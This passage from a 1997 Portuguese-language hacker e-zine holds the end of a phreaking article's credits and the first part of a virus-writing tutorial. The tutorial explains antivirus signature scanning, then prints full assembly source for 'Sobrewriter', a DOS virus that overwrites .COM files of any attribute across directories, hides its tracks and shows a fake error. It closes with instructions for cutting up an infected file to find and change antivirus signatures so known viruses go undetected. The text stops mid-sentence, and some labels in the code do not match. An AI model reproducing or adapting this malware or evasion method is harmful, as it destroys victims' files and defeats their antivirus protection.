  []=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]


  7.) Bibliografia

  Telesp/Embratel.
  Lista Telefonica.
  Algumas HP's da Net.
  Alguns lamers da Net.
  Tel_br11 - by Tom Waits
  Muita Engenharia Social.
  Mais de 2 meses de intensa pesquisa.
  HP da Telesp: http://www.telesp.com.br


  []=[]=[ Authors ]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]=[]

  Axcel          : axcel_axur05@hotmail.com
  Worm_root      : worm_root@thepentagon.com

  Copyright(c) 1997, Axcel & Worm_root. E proibida a copia ou alteracao.
  Global Domination Inc. AXUR05 RULeZ!

  -EOF


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 21 -

			 --------------------------
			 - Virus Tutorial Parte I -
			 --------------------------

	Aproveitando a onda dos manuais q assolam o pais, eu decidi escrever
  um manual "basico" sobre virus e sua programacao. Devido ao tamanho do di-
  to cujo, eu irei dividi-lo em partes, que serao apresentadas pouco a pouco
  em cada numero do zine. Esse texto foi escrito baseado em varias experien-
  cias em relacao a virus q eu tenho, e tb em muitos textos... okz, algumas
  coisas eu tirei de outros textos, porqe eu estava realmente com preguica d
  digitar.. os autores dos respectivos textos me deram permissao pra isso...
  Quantung.. yeah.. :P

  Index
  ~~~~~
	1 - Introducao                     oK.
	2 - Nomes, tecnicas e definicoes   oK.
	3 - Virus Sobre-escrevedores       oK.
	4 - Design de novas variantes      oK.
	5 - Otimizacao do codigo virotico  oK.
	6 - Virus COM's                    oK.
	7 - Desinfeccao Basica
	8 - TSR Basico
	9 - Virus EXE's
       10 - TSR Avancado
       11 - Virus Macro
       12 - Virus SYS's
       13 - Virus ZIP's
       14 - Encriptacao basica & outros truques
       15 - Virus Boot/Sectors...
       16 - Virus ROM's
       17 - Outros SO's

				 . . . . . .
  

  -=[ 1. Introducao ]=- - - - - - - - - - - - - - - - - - - - - - - - - - -*
 
  .Criadores ]     
	
	No Brasil, a criacao de virus nao e muito  difundida apesar de haver
  varios criadores com um  otimo potencial... um exemplo classico  seriam os
  criadores do Delta, e ate mesmo do  Leandro & Kelly, virus que assolaram o
  pais e aterrorizaram o coracao dos lamers. Depois surgiu a moda dos macros
  e logo apareceu a porra do Tamagochi, qe muitos dizem ser o primeiro virus
  de macro do Brasil, no entanto, isso nao e verdade pois o Worm_root ja ha-
  via feito um virus de macro varios meses antes, o Word_Worm.
  Na mesma onda, nosso grupo nao podia ficar de fora, assim  criamos a algum
  tempo o primeiro virus de macro para Excel do Brasil.. he he.. um dia des-
  ses eu mostro o codigo pra vcs... se bem q logo logo ele sai nos jornais
  pois tem tanto nego infectado... putz.. haha..
  
	Que eu saiba nao existe nenhum zine nacional voltado  exclusivamente
  para a area de virus, a algum tempo atras houve o Cyber-Demons, mas o zine
  logo desapareceu apesar do bom potencial tecnico.. Muitos zines apresentam  codigos e tal, mas  poucos  sao os que
  realmente sabem o qe estao falando. Na Argentia tem o Minotauro que da uma
  atencao especial aos virus.. o zine e muito bom..
  Caso alguem se interesse em escrever ou mesmo dar suporte na elaboracao do
  nosso manual, sinta-c a vontade para nos contactar em mos@thepentagon.com.
	
	Eu nao podia terminar essa secao sem antes  falar no perfil psicolo-
  gico dos criadores d virus hehe.. laming.. Muitos acham qe os criadores de
  virus sao genios delinquentes, sem o q fazer.. eu realmente acho que criar
  um virus e dar vida a algo, e explorar uma capacidade de uma linguagem que
  milhares d pessoas simplesmente nao compreendem. Varios autores d virus se
  reunem em grupos especificos tais  como a VLAD, VBB, 40hex, Palcon Skings,
  MOS ( hehe...), apesar d nao sermos um  grupo especifico d virus, nos tam-
  bem realizamos varias pesquisas a respeito..
  Um lamer ira argumentar q pode-se fazer algo melhor com um computador do q
  simplesmente um virus, mas como disse um "colega" meu:
	
	" - Eu nao adminto que um lamer que mal usa o Windows me diga o que
	eu posso ou nao fazer d melhor com um computador pois nem ele sabe!"

  
  .Geradores ]
	
	A grande maioria  dos lamers nao pode entender um simples 'mov', en-
  tao eles tem de apelar pra porra dos geradores... Tais programas funcionam
  basicamente da  mesma forma: eles fazem certas perguntas a respeito do vi-
  rus que vc deseja bolar  como por exemplo, que dia funcionar, que arquivos
  infectar, se e ou nao mutante, e a partir disso eles juntam varias funcoes
  pre-existentes, conforme as  selecoes do usuario.. entao, o  programa  ira
  gerar um codigo fonte q deve ser compilado.
  Esses geradores sao interessantes pois pode-se aprender muito observando-c
  seu codigo, no entanto, o grande problema deles, e que muitos simplesmente
  nao conseguem modificar sua respectiva assinatura, ou seja, todos os virus
  gerados por eles possuem por exemplo um  ponto em comum, oq torna todos os
  virus gerados por um certo Gerador, ja detectaveis.
	Deve-se confirmar contudo, q o grande boom dos virus no mundo se fez
  devido ao uso de tais geradores, qualquer  lamer que tivesse ascesso podia
  fazer centenas d virus num unico dia!
  Existem varios geradores, de varios grupos  diferentes, tais como o PS-MPC
  (feito em C), o GENVIR (o primeiro que se tem noticia...), IVP, ...
  
  
  .Anti-virus ]

	Antes de entrarmos  em detalhes sobre os virus, vamos  dar uma breve
  introducao sobre o funcionamento dos produtos AV's (anti-virus)... A coisa
  funciona assim, mesmo qe o virus seja mutante, certas "strings" de seu co-
  digo nunca serao alteradas, ou seja, por mais q o virus se auto-modifique,
  certas coisas nele continuaram identicas a d quando ele foi feito. Baseado
  nisso, um anti-virus ira abrir um arq e  basicamente procurar pela assina-
  tura (a "string" q nunca muda, e indentifica um certo virus) de diferentes 
  virus... e claro que atualmente ja  existem tecnicas sofisticadas, mas por
  hora isso ja basta.
  Um AV e lamericamente (uau.. ) um banco d dados com centenas d assinaturas
  de diferentes virus. Existem varias marcas (fabricantes, TBAV, F-PROT, ..)
  e cada um com seus  truques e respectivas  fraquezas, mas isso sera discu-
  tido mais adiante.

  
  . CLassificacao dos virus ]

	Quando os virus  tornaram-se mais comuns, surgiu um problema perante
  os tecnicos de AV, como nomear os virus "cientificamente". No inicio, cada
  virus que aparecia era nomeado devido  a uma particularidade especial como
  por exemplo uma mensagem na tela, .. Com o tempo, surgiram novas variantes
  de virus ja existentes, ou seja, o cara simplesmente alterava uma ou outra
  coisa no codigo e gerava uma mutacao de um virus ja existente... Isso pro-
  duziu uma verdadeira confusao na nomenclatura de virus, pois apareciam vi-
  rus novos, mas  semelhantes a  outros, ou seja essas variantes e mesmo  os 
  virus ja existentes precisavam d uma padronizacao em sua nomenclatura.
	Varias regras foram estabelecidas para auxiliar na nomenclatura d um
  novo virus, mas outro problema encontrado foi q muitos virus possuiam ape-
  lidos, assim, em  novembro de 1991, o NCSA nos EUA organizou uma conferen-
  cia de forma a dar um fim a isso e chegar a uma conclusao definitiva sobre
  a nomenclatura dos virus.
  Ficou convencionado q o nome seria formado da seguinte forma:
	
	Nome_Familia.Nome_Grupo.Nome_Maior_Variante.Nome_Menor_Variante

	Por  exemplo, Vienna.648.Reboot.A, Leprosy.Skism.1818... e meio con-
  fuso mas... Com a aderencia dessas  regras por partes dos AV's, reduziu-se
  drasticamente o numero de virus com diversas denominacoes.


  .Virus  ]
  
	Existem centenas d definicoes para o que sao realmente virus de com-
  putadores, mas pra mim, virus de computador, sao programas destinados a se
  copiarem infinitamente pelo  computador, e as vezes, sob certas  codicoes,
  manifestarem-se de forma comica ou maligna. Geralmente sao escritos em as-
  sembly, pois e uma linguagem mais poderosa e compacta, no entanto existem
  virus em Basic, Pascal e ate mesmo em C, mas caracterizam-se principalmen-
  te por serem  e n o r m e s.
  
  Os virus de computador, se dividem em varias ramificacoes, q diferem desde
  a forma de atuacao, ate a forma de contaminacao. Geralmente o que eu virus
  faz e d uma forma bem simplificada algo como:
	
	1). Inicia-se e procura por arquivos p/ infectar.
	2). Se nao encontrar aborta, se encontrar, pula p/ 3
	3). Abre o arquivo e ve se ja esta infectado, se estiver, volta p/ 1
	4). Ainda nao foi infectado, infecta
	5). Termina.
  
  Isso no caso d virus nao-TSR... no caso deles a coisa muda, mas nao convem
  falar sobre isso agora.
  Na etapa 4, essa "infeccao" q o virus faz, e basicamente alterar o arquivo
  de forma que quando ele for executado, o virus seja rodado primeiro q ele.
  Apos o  virus terminar sua acao, ele  retorna o  controle ao programa, que
  agora roda s/ perceber nada errado. Note q existem virus q possuem uma es-
  trategia d primeiro rodar o programa, e quando ele  terminar o  virus roda
  por ultimo ;)
	O modo como o virus faz essa  alteracao no arquivo, varia d sistema
  para  sistema, e de arquivo para  arquivo, afinal, arquivos COM e EXE sao
  extruturalmente diferentes como voce vera mais a frente.
  Inicialmente  iremos estudar  os chamados "virus sobre-escrevedores", eles
  lhe darao uma base  para se iniciar em infeccoes mais complexas como as de
  arquivos COM  e EXE... mas antes.. uma explicacao  sobre os termos mais u-
  tilizados no mundo virotico se faz necessaria.
  
				 . . . . . .
  
  
  -=[ 2. Nomes, tecnicas e definicoes ]=- - - - - - - - - - - - - - - - - -*
 
	Existem varias tecnicas que os virus podem usar d forma a escapar da 
  perseguicao dos AV's, dentre elas estao:

  polimorfismo: E a capacidade do virus mudar seu codigo, fazendo com q cada
  nova geracao funcione do mesmo jeito, mas fisicamente diferente.. isso di-
  ficulta muito a procura por  assinatura, entao  nesse caso  os AV's usem a
  chamada procura heuristica. Existem algoritmos ja prontos de forma a serem
  incorporados em  virus ja prontos, tais algoritmos ja sao famosos entre os
  AV's... MtE, DAME, TPE, NED, ...

  
  encriptacao: E uma tecnica  simples e comum de ser feita, ela geralmente e
  composta por um loop  no qual o  virus e encriptado  ou desencriptado toda
  vez qe e executado. Encriptado-se, varias strings do virus tornam-se camu-
  fladas.. no entanto, sempre existe uma parte do virus qe nao e encriptada,
  e tal parte possui sua respectiva assinatura, que e usada pelos AV's.

  
  tunneling: Sao recursos q o virus se utiliza d forma a ultrapassar progra-
  mas residentes e assim controlar diretamente certas interrupcoes do compu-
  tador. Assim, ele podem monitorar o ascesso a arquivos e mesmo a discos.

  
  stealthing: E a utilizacao de tecnicas q dificultam a percepcao d um virus
  no sistema. Por exemplo, muitos virus nao alteram a data/hora dos arquivos
  infectados,  eliminam  certos arquivos dos anti-virus, etc. Alguns  chegam
  mesmo a notar  a execucao  de um AV e  se encondem, voltando a agir quando
  ele terminar!

  
  procura dot dot: Essa e uma forma  comum de procura de arquivos feita pelo
  virus, ela  consiste-se do seguinte, inicialmente o virus procura arquivos
  no diretorio corrente, se nao encontrar, ele desce p/ o subdiretorio (..),
  ou simplesmente aborta-se se for o raiz.

 
	Okz, agora vao alguns termos usados por virus e AV's:

  DTA: Area de transferencia de disco, tem informacao sobre todo arquivo en-
  contrado pelo nosso virus, como por exemplo: data, hora, tamanho, etc. Ve-
  ja abaixo o layout do DTA:
  
  0h   DB  21 dup(0)    ; reservado para uso do Dos
  15h  DB  00           ; atributo do arq.
  16h  DW  0000         ; hora do arq.
  18h  DW  0000         ; data do arq.
  1ah  DD  00000000     ; tamanho do arq.
  1eh  DB  13 dup(0)    ; ASCII do nome do arq.
  
  Na maioria das vezes, move-se o DTA d lugar, para nao perder-se o PSP. Nos
  virus sobre-escrevedores, isso nao e necessario...
  ATENCAO: Note que  o DTA, comeca  em 80h, e  em 1eh do DTA, esta o nome do
  arquivo encontrado, assim, juntando-se os dois (DTA+endereco com o handler
  do arq), nos obtemos:
  
	80h + 1eh = 9eh

  Esse o endereco que contem o nome do arquivo.

 
  PSP: Prefixo do endereco do programa.

  
  OFFSET: E como  um endereco de memoria, e indica certas localizacoes espe-
  cificas.

  
  TSR: Programa residente.

  Stack: "Pilha", e basicamente uma area d memoria onde se e possivel salvar
  dados e registradores, note que  esse dados devem ser recuperados na ordem
  inversa a que foram salvos.
  Ex: 
	push ax (salva AX no Stack)
	push cx (salva CX no Stack)

	......

	pop cx (recupera CX)
	pop ax (recupera AX)


  Flag: E como um registrador, usado para sinalizar o estado atual do micro-
  processador. Atraves dele, um programa pode saber quais foram os ultimos
  efeitos causados pela ultima instrucao executada.

  "Assinatura": Conjunto de bytes comuns  a um virus  pelo qual ele pode ser
  detectedo.


  "Codigo malicioso": Codigo de virus que realizam algo perverso..
 
  "Arquivo bite": Pequenos arquivos usados basicamente para serem contamina-
  dos para posteriormente estudarem-se os virus que contaminaram esse arqui-
  vos. Por exemplo, pode-se criar um arquivo bite em assembly q tenha apenas
  uma instrucao 'int 20h'. A seguir, contamina-se esse arquivo e quando voce
  edita-lo num  editor hexadecimal, tudo, menos  o primeiro 'int 20h' sera o
  codigo do virus! Simples nao ?  Note no entanto qe certos virus contaminam
  apenas arquivos q tenham um tamanho minimo.. dessa forma, vc tera d preen-
  cher seu arquivo bite com lixo, do tipo "NOPE".

  "Acao direta": E o tipo de virus que  ao inves  de ficar TSR, esperando os
  arquivos serem  executados  para contamina-los, executa-se  na mesma hora,
  contaminado os arquivos ao seu redor e em seguida termina-se.
  Tais virus tem como desvantagem o fato d uma disseminacao mais lenta, alem
  d tornarem seus hospedeiros um pouco mais lentos na hora de executar, pois
  o virus roda primeiro, isso  pode levantar suspeitas.. no entanto, por nao
  ficarem TSR, eles possuem uma chance maior d nao serem detectados. 
  
  procura heuristica: E uma forma d deteccao de virus usado por varios AV's,
  ela consiste-se em procurar comandos especificos de um virus, dentro de um
  arquivo. Por exemplo, poderiam procurar por algum programa que execute uma
  funcao de abertura e salvamento de arquivos, ou coisas assim...

  estruturas retro: E similar ao stealhting.. a diferenca, e que ao inves de
  tentar nao ser  detectado, o  virus ira  atacar  os AV's diretamente, como
  por exemplo deletando-os ou simplesmente baixando-os da memoria.

				 . . . . . .  
  

  -=[ 3. Virus Sobre-escrevedores ]=- - - - - - - - - - - - - - - - - - - -*
  
	Okz, como ja dito, inicialmente iremos tratar da criacao de um virus
  sobre-escrevedor. Apesar de simples, tais virus irao lhe dar uma boa nocao
  d como um codigo virotico basico funciona...
	No nosso caso, iremos tratar de virus sobre-escrevedores de arquivos
  COM. Na infeccao d EXE's quase nao a diferenca em se tratando de sobre-es-
  crevimento, mas varias  precaucoes devem ser tomadas e como o proposito do
  manual nao e unicamente virus  sobre-escrevedores, quero ser o mais rapido
  possivel nessa bosta.
	Como o proprio nome diz, virus sobre-escrevedores, sao virus qe para
  se multiplicarem, sobrepoe-se sobre o arquivo alvo, inutilizando-o.
  Ex:
	--------     -----       ----------
       |Programa| + |Virus|  =  | Virusama |
	--------     -----      -----------
  
  No exemplo, 'ama' significa o resto do programa original, como ele foi so-
  breposto pelo virus, a parte restante do programa, fica inutilizada.
  Devido a isso, esse tipo de virus, e extremamente rudimentar, visto q pode
  ser detectado facilmente pois seus arquivos irao simplesmente para de fun-
  cionar! Lamer, acho q vc ainda nao entendeu: perceba q assim qe um arquivo
  e contaminado por esse tipo   de virus, ele (o arquivo) e inutilizado, sem
  chance de recuperacao!!
  O resultado e similar a quando vc salva um texto e o sistema lhe diz qe ja
  existe um arquivo de mesmo nome e lhe pergunta se voce quer sobregrava-lo.
  Agora, a parte tecnica:
	
	Todos os arquivos  sao divididos  em segmentos os quais NAO estao em
  ordem sequencial, e podem ser carregados em qualquer parte da memoria... a
  diferenca principal em termos viroticos entre arquivos COM e EXE, e que os
  COM possuem uma posicao especifica fixa inicial d onde comecar em memoria,
  essa posicao e 100h, ou seja, quando voce  rodar um  arquivo COM, pode ter
  certeza dq ele ira comecar sempre em 100h!!
  De uma forma basica, a grande maioria dos virus sobre-escrevedores de COMs      
  tem a seguinte estrutura:
	
	1). Achar um arquivo p/ contaminar.
	2). Nao achou, aborta.
	3). Achou, abre o arquivo.
	4). Infecta o arquivo.
	5). Fecha.
	6). Sai.
  
	Os mais espertos poderao perguntar se o virus tambem nao deveria ver
  se o arquivo ja esta contaminado. Vc esta certo, mas como eu ja disse, nao
  gosto de virus sobre-escrevedores, portanto, quanto  menos tempo perdermos
  tempo com eles  melhor... eu  apenas  estou explicando ele para te dar uma
  nocao basica d forma a depois podermos tratar de virus mais interessantes.
  Seguindo os passoas acima descritos, os sobre-escrevedores comecam mais ou
  menos desse jeito:
  
  Code SEGMENT              ; Nome do segmento.
  ASSUME cs:Code,ds:Code    ; Em arqs. COM, dados, codigo, stack e
			    ; segmentos extras sao todos iguais.
  ORG 100H                  ; End. onde todos os COM comecam na memoria.

  Inicio proc near          ;
  Bla, Bla, Bla \           ;
  Bla, Bla, Bla  |----------  Aqui vai o corpo do virus          
  Bla, Bla, Bla /

  Inicio endp               ; Fim do virus (corpo) 
  Bla, Bla, Bla \___________  DBs e variaveis vao aqui          
  Bla, Bla, Bla /

  Code ends                 ; Fim do segmento
     end Inicio             ; Fim do programa (virus)

  Simples, nao ?!! Agora vamos seguir os passos:
 
  1.a). Achar um arquivo p/ contaminar, mas antes, inicia-se os segmentos ;)

  Code SEGMENT              ;
  ASSUME cs:Code,ds:Code    ;
			    ;
  ORG 100H                  ;
  
  Inicio proc near          ; Inicio do virus

  1.b). Ok, agora vamos achar nossa vitima...
  Vamos usar a INT 21h, funcao 4Eh -> localizar arquivo.
	ah, 4Eh
	cx: atributos do arq.
	dx: End. offset do nome do arq.
	ds: End. do segmento do nome do arq.
  Ex:
	mov ah, 4Eh            ; Localizar 1. ocorrencia de um arq.
	mov cx, 0              ; '0' = Atributos normais.
	mov dx, OFFSET Arq_Com ; Mascara para arquivos COM.
	int 21h                ; Executa.
 
  Arq_Com DB "*.COM"           ;
  
  ** Apos a 'int 21h', poderia-se colocar algum tratamento de erro, ou seja,
  ele verificaria  se encontrou um arquivo, se nao  encontrar, poderia mudar
  de diretorio ou simplesmente terminar-se (passo 2).
	
	Note que nos nao usamos DS, pois em arq. COM CS=DS=ES=SS!!
  LAMER, PUTA QUE PARIU! ESSE 'EM ARQUIVOS COM' QUE  EU ESTOU FALANDO, NAO E
  O ARQUIVO VITIMA, Q VAMOS INFECTAR, E SIM O VIRUS! O CODIGO DO VIRUS QE EU
  ESTOU MOSTRANDO, QUANDO COMPILADO VAI  GERAR UM  VIRUS.COM! E POR ISSO QUE
  VC PRECISA COLOCAR O 100H, P/ INSTRUIR O COMPILADOR A GERAR O ARQUIVO COMO
  COM!! Alem de menores, os COMs rodam mais rapido, como um virus e pequeno,
  e rarissimo encontrar-se virus.EXE...
  okz.. continuando...        
  
	Note tambem, que especificamos em CX, arquivos de atributos normais,
  isso previne nosso virus de  falhar quando  tentar infectar  algum arquivo 
  protegido, como por exemplo o COMMAND.COM. Mais a frente, voce aprendera a
  zerar os atributos de um arquivo e contaminar o q quiser, mesmo qe ele es-
  teja protegido.

  
  2). Vc q decide oq vai fazer... isso ja foi explicado acima.

  
  3). Abre arquivo encontrado.
  Vamos usar a INT 21h, funcao 3Dh -> abrir arquivo.
	ah, 3Hh
	al: 00h: read
	    01h: write
	    02h: read/write
	dx: Endereco offset do nome do arquivo encontrado.
	ds: Endereco do segmento do nome do arquivo encontrado.
  
  Quando o arquivo for aberto, o seu respectivo handle sera retornado em ax.
  Ex:
	mov ah, 3Dh            ; Funcao abrir arq.
	mov al, 02h            ; Escrita/leitura
	mov dx, 9eh            ; Nome do arquivo (q esta no DTA!)
	int 21h                ;
	... --> Aki  poderia ser feito um teste d erro p/ se certificar de q
		na houve erros na abertura do arquivo...  :P

  Se tudo correr bem, ou  seja, se nao houver falhas na abertura do arquivo,
  o DOS, retorna  o handle do  arquivo em AX. No  passo 4, iremos escrever o
  virus sobre o arquivo aberto, para isso, o handle do arquivo deve estar em
  BX, por isso, vamos passar o valor d AX p/ BX.
  Ex:
	xchg bx, ax            ; Melhor que 'MOV'.


  4). Sobrepor o virus sob o arquivo aberto
  Vamos usar a INT 21h, funcao 40h -> escrever em arquivo.
	ah, 40h
	bx: Handle do arquivo aberto.
	cx: Bytes a escrever.
	dx: Endereco offset do comeco do virus.
  Ex:
	mov ah, 40
	mov cx, OFFSET Fim - Inicio
	mov dx, OFFSET Inicio
	int 21h

  Na passagem acima, e armazenado em CX o tamanho do virus, ou seja, seu fi-
  nal menos o seu comeco (matematica basica lamer..). Em DX, esta o inico do
  virus que e o inicio de onde o ponteiro ira escrever.

  
  5). Fechar o arquivo q acaba d ser infectado. 
  Vamos usar a INT 21h, funcao 3Eh -> fechar arquivo.
	ah, 3Eh
	bx: Handle do arquivo (que ja esta em BX pois: xchg bx, ax).
  Ex:
	mov ah, 3Eh            ;
	int 21                 ; 

  
  6). Terminar-se..
  Vamos usar a INT 20h -> Terminar programa.
  Ex:        
	int 20h                ;

	Lamer, note q eu nao estou te dando um codigo completo, estou apenas  
  explicando como vc pode  criar seu proprio virus sobre-escrevedor.. se de-
  pois te tudo isso vc ainda nao conseguir.. e melhor comprar um livrinho...
	Agora, vamos nos aprofundar um pouco mais.. Vamos usar tudo o que vc
  aprendeu  ate agora, para  criar um virus sobre-escrevedor, que  ira  usar
  tecnicas d stealth: ira preservar a data/hora original do arquivo infecta-
  do, e ira  contaminar arquivos com qualquer atributo, mesmo os protegidos.
  
  Vc pode estar se  perguntando por que salvar data e hora ja  que o arquivo
  sera destruido, bem para que nosso virus fique mais dificil de ser notado,
  ele ira mostrar uma mensagem de erro quando for rodar, assim, a pessoa vai
  achar q o arquivo esta danificado ao  inves d pensar direto q e  um virus.
  Perceba q especificando contaminacao d qualquer arquivo, ate o COMMAND.COM
  pode ir embora!!
 
  Abaixo, mostrarei um  virus que procura  por subdiretorios para contaminar
  arquivos, vc vai gostar.. depois chega pois eu nao aguento mais falar des-
  se tipo de virus.. ECA!!

; --- Corte aki ------------------------------------------------------------
;
; Sobrewriter - Sobre-escrevedor COM
; (c) 1997, Wiz4rd [MOS].
; 

  Code SEGMENT                 ; 
  ASSUME cs:Code,ds:Code       ;
			       ;
  ORG 100H                     ;

Inicio proc near               ;

Pega_path:
      mov al, '\'              ; Para '\' + path original.
      mov byte ptr[Path], al   ; Para Path = \directory.
      mov si, OFFSET Path+1    ; Adiciona 1 byte por cause de AL('\').
      xor dl, dl               ; Unidade atual(dl=0).
      mov ah, 47h              ; Pega diretorio atual.
      int 21h                  ; Salva o path original.

Acha:       
       mov ah, 4Eh             ; Achar um arquivo.
       mov cx, 7               ; Qualquer atributo.
       mov dx, OFFSET Mask_Com ; Mascara para arquivos .Com .
       int 21h                 ;
       jc Down                 ; Nao achou, tente proximo diretorio.
       call Fuck_arq           ; Sim, fode o arquivo!!!! YAHOOOOO...
       jmp Acha_prox           ; Acha proximo.

Desce:
       mov ah, 3Bh             ; Troca de diretorio
       mov dx, OFFSET Dir_Desce; Mascara p/ descer diretorio.
       int 21h                 ;
       jc Sai_fora             ; Nao pode descer--> Raiz, saia!
       jmp Acha                ; Procura por arquivos .COM .

Acha_prox:
       mov ah, 4Fh            ; Achar proximo arquivo .COM .
       mov cx, 7              ; 
       mov dx, OFFSET Mask_Com; 
       int 21h                ;
       jc Down_2              ; Nao achou, desce mais um diretorio.
       call Fuck_arq          ; Sim, abre.
       jmp Sai                ; Sai.

Desce_2:
       mov ah, 3Bh             ; Troca de diretorio.
       mov dx, OFFSET Dir_Desce; Mascara do diretorio.
       int 21h                 ;
       jc Sai_fora             ; Nao pode descer, saia :-(
       
       mov ah, 4Eh             ; 
       mov cx, 7               ; 
       mov dx, OFFSET Mask_Com ; 
       int 21h                 ;
       jc Sai_fora             ; Nao tem, sai :-(
       call Fuck_arq           ; Sim, fode ele!!!! YAHOOOOO...
       jmp Sai                 ; Saia, nos ja temos filhinhos.
       
Sai_fora:
       jmp Exit

Fuck_arq:
       mov ax, 04300h                  ; Pega atributos do arquivo.
       mov dx, 9Eh                     ; Nome do arquivo.
       int 21h                         ;
	  
       mov cx, [OFFSET Atributos + bp] ; Salva atributos.
	  
       mov ax, 4301h                   ; Funcao troca atributos do arquivo.
       xor cx, cx                      ; Para normal.
       mov dx, 9Eh                     ; Nome do arquivo.
       int 21h                         ; Arquivo ta pronto pra fuck fuck.. :-)

; Vc pode fazer um check de erro aqui, como 'jc Erro', apos isso, vc faz uma
; funcao chamada Erro que talvez ira terminar o virus ou procurar por outro
; arquivo.
       
       mov ax, 3D02h          ; Abre arquivo read/write.
       mov dx, 9eh            ; Nome do arquivo.
       int 21h                ; 
       xchg bx, ax            ; Poe handle de novo em BX.
       
       mov ax, 05700h             ; Funcao pegar data e hora do arquivo.
       int 21h                    ;
       mov [OFFSET Data+bp], dx  ; DX = data(salva).
       mov [OFFSET Hora+bp], cx  ; CX = hora(salva).
       
       mov ah, 40h            ; Funcao escrever em arquivo.
       mov cx, OFFSET The_End - Inicio ; Bytes a escrever.
       mov dx, OFFSET Inicio  ; Offset do comeco do virus.
       int 21h                ; 
       call Fecha             ; Fecha o arquivo.
       ret

Fecha:       
       mov ah, 3Eh                     ; Funcao fechar arquivo.
       int 21                          ; 
       mov ax, 05701h                  ; Funcao trocar data/hora do arquivo.
       mov dx, [OFFSET Date+bp]        ; Para valores antigos(originais).
       mov cx, [OFFSET Time+bp]        ; Hora original.
       int 21h                         ;
      
       mov ax, 04301h                  ; Funcao trocar atributo do arquivo
       mov [OFFSET Atributos + bp], cx ; Para atributos antigos(originais).
       int 21h                         ; 
       ret

Sai:       
       mov ah, 3Bh            ; Troca de diretorio.
       mov dx, OFFSET Path    ; Para dir original.
       int 21h                ;
       mov ah, 9              ; Mostrar mensagem falso.
       mov dx, OFFSET Mens    ; Mascara da mensagem.
       int 21h                ;
       int 20h                ; Termina.

Inicio endp

Path      DB 70 DUP (?)       ; Path original(ate 70 caracteres)
Dir_Desce DB "..",0
Mask_Com  DB "*.com",0        ; Mascara para arquivos .COM .
Atributos    DW  ?            ; Variaveis temporarias que "seguram"
Data         DW  ?            ;   atributos, data e
Hora         DW  ?            ;      hora do arquivo.
Mens DB 'Erro no arquivo (0133)', 13, 10,'$'

The_End label near            ; Fim do virus.
Code ends                     ; Fim do segmento.
     end Start                ; Fim do programa.


; --- Corte aki ------------------------------------------------------------

	E claro que  esse codigo  esta muito "feio", mas como eu ja disse eu
  nao vou perder  tempo com esse tipo de virus. Voce  tambem pode melhorar a
  mensagem falsa... Varias coisas podem ser melhoradas e colocadas nessa vi-
  rus. Gere novas mutacoes...
  
  P.s.: E provavel qe anti-virus ja acusem a presenca desse virus como sendo
  um outro, mas nao pense que eu copiei o codigo. Isso deve-se ao fato d que
  virus sobre-escrevedores  sao muito parecidos  uns coms os outro, portanto
  faceis de serem detectaveis, e os anti-virus frequentemente acusam um novo
  virus como sendo apena uma simples variante.
  Tente tornar esse virus indetectavel novamente, sei la.. :P
				 
				 . . . . . .  


  -=[ 4. Design de novas variantes ]=- - - - - - - - - - - - - - - - - - - *

	E comum e mesmo facil encontrar-se codigos fontes de viru  na Net...
  Mais comum ainda e q muitas das pessoas q possuem tais codigos simplesmen-
  te sao incapazes de entende-los ou nao tem  saco de baseado neles fazer um
  novo  virus... entao vc pode ao invez de  fazer um do  comeco, modifica-lo
  apenas em algumas partes, de forma a faze-lo novamente indetectavel... sei
  la... independente d quais seus motivos, aki tem uma solucao simples.
  Vc vai ver como e possivel tornar  um virus ja detectavel em novamente in-
  detectavel... teoricamente... O problema e que as vezes esse tipo de coisa
  consome muito tempo e paciencia, q e melhor fazer-se um novo virus.
  Se vc faz por  exemplo o Michangelo tornar-se novamente indetectavel, voce
  acaba de criar uma nova variante dele.. sacou?? :P

	De forma a poder  manipular e gerar uma variante, voce precisa de no
  minimo um editor hexadecimal, e o debug do DOS. Inicialmente, criar um ar-
  quivo bite. Note qe alguns virus nao contaminam arquivos bite, se esse for
  o seu caso, encha o bite de  NOPES ate dar o  tamanho minimo requerido, ou
  simplesmente altere no  codigo do virus o tamanho minimo. Nao vou explicar
  como criar a porra do arquivo no DEBUG!
  Lamer, se vc nao souber, use o TASM mesmo e faca o dito cujo.
  Okz, suponha q nosso arquivo tenha apenas a instrucao 'int 20h', entao ele
  deve teoricamente ter  algo em torno de 2 bytes.
	Contamine o arquivo com o virus.. se for um virus d boot, vc vai ter
  q usar um bom editor d disco e contaminar um disquete --> TRABALHO A MAIS.
  Independente do virus, CUIDADO  PARA NAO CONTAMINAR O SEU HD! Faca a coisa
  em um disquete! Se for um  virus  residente, apos vc ter contaminado o ar-
  quivo simplesmente de um reboot.
  Se o virus for de .EXE, converta o bite.... NAO BASTA RENOMEA-LO!!
  Nao se esqueca de manter uma copia do arq bite original(sem o virus!!).
  Carregue seu editor hexa o arquivo infectado, note q tudo menos o primeiro
  'int  20h' e o  virus :)
	Essa e a parte  importante.. ache atraves do editor hex., o meio do
  arquivo, se ele tem 14k, se dirija para o ultimo byte, antes de formar 7k.
  Agora, preencha os 7k  em diante (ate EOF) com besteiras, como por exemplo
  255d (FFh) o caractere de espaco. Entao, salve e rode seu anti-virus nesse
  arquivo. Se o AV detectar a presenca de virus, e porq a sequencia que o AV
  usa p/ detectar o seu virus, encontra-se nos primeiros 7K! E assim vai...
  o raciocinio e simples, vc  vai picando o dito ate  achar a assinatura.
  E claro que deletando partes do virus, ele nao ira funcionar (pois o arqvo
  estara danificado), mas nos nao  estamos querendo ele funcionando, e sim a 
  saber que parte do virus e detectada pelo AV.
  E por isso qe antes de alterar os arquivos, e bom voce ter copias reservas
  do bite original e do contaminado.

  NOTA: Eu recomendo  que voce use o SCAN para procurar pelo virus, pois ele
  apenas procura por assinaturas, e e isso que nos estamos tentando alterar.
  Use um versao recente PORRA, senao e claro qe se seu virus for recente ele
  nunca vai ser encontrador  :P
  Por exemplo, quando procura pelo virus Cascata, o SCAN procura por algo do
  tipo:

	       EB1DAD1273D1FF121F (Eu achei isso numa revista)

  Entao meu caro, voce esta  tentando apenas alterar a string que o SCAN usa
  para  detectar seu  virus. Na maioria dos virus, a assinatura  encontra-se
